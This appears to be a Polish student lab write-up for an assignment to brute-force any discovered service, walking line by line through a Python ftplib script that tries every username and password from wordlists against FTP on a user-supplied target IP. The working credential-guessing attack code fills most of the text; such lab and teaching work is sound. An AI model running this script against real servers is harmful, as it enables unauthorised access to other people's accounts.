6. Przeprowadzić atak brute-force na dowolną znalezioną usługę (nie musi się udać).

Na początku kodu importujemy bibliotekę **ftplib**, która definiuje m.in. klasę FTP.

import ftplib

Następnie pobieramy od użytkownika adres IP celu, dla którego będziemy łamać hasło.

targethost = input("Podaj IP targetu: ")

Przypisuejmy bibliotekę do zmiennej

ftpserver = ftplib.FTP()

Ustalamy listę użytkowników i haseł do prób złamania hasła. Pliki powinny znajdować się w tej samej lokalizacji co plik *Zad6.py*

users = open("brute\_users.txt")  
passwords = open("passwords.txt")

Następnie zaczynamy pętlę, która sprawdza po kolei każde hasło, dla każdego użytkownika na liście podanej w linii 5 i 6

for user in users:  
 user = user.replace("\n", "")  
 passwords.seek(0)  
 for password in passwords:  
 password = password.replace("\n", "")  
 print(f"Trying: {user}:{password}")  
 try:  
 ftpserver.connect(targethost, 21, timeout=5)  
 ftpserver.login(user, password)  
 print("zlamane")  
 ftpserver.close()  
 except Exception as e:  
 print("Zle dane logowania")  
 print(e)

Pętla pobiera userów po kolei z podanej listy

for user in users:

Przy każdym sprawdzeniu należy zamienić końcowy znak nowej linii na brak znaku, co jest robione w poniższej linii:

user = user.replace("\n", "")

Lista z hasłami powinna być ustawiana na jej początek po sprawdzeniu haseł dla każdego z użytkowników

passwords.seek(0)

Pętla zagnieżdżona w pierwszym „forze” pobiera hasła z listy haseł oraz podmienia znak nowej linii tak samo jak w przypadku użytkowników

for password in passwords:

password = password.replace("\n", "")

Program podaje dane, dla których podejmowana jest próba złamania hasła

print(f"Trying: {user}:{password}")

Następnie podejmowana jest próba połączenia

ftpserver.connect(targethost, 21, timeout=5)

Gdzie:

targethost – podany przez użytkownika adres IP celu  
 21 – port  
 timeout – czas oczekiwania na odpowiedź

Po udanej próbie połączenia, podawane są dane logowania z podanych wcześniej list

ftpserver.login(user, password)

Gdy próba zalogowania się powiedzie, wypisywana jest informacja i połączenie jest zamykane

print("zlamane")

ftpserver.close()

Jeżeli próba się nie powiedzie, zwracany jest błąd pod zmienną e

except Exception as e:  
 print("Zle dane logowania")  
 print(e)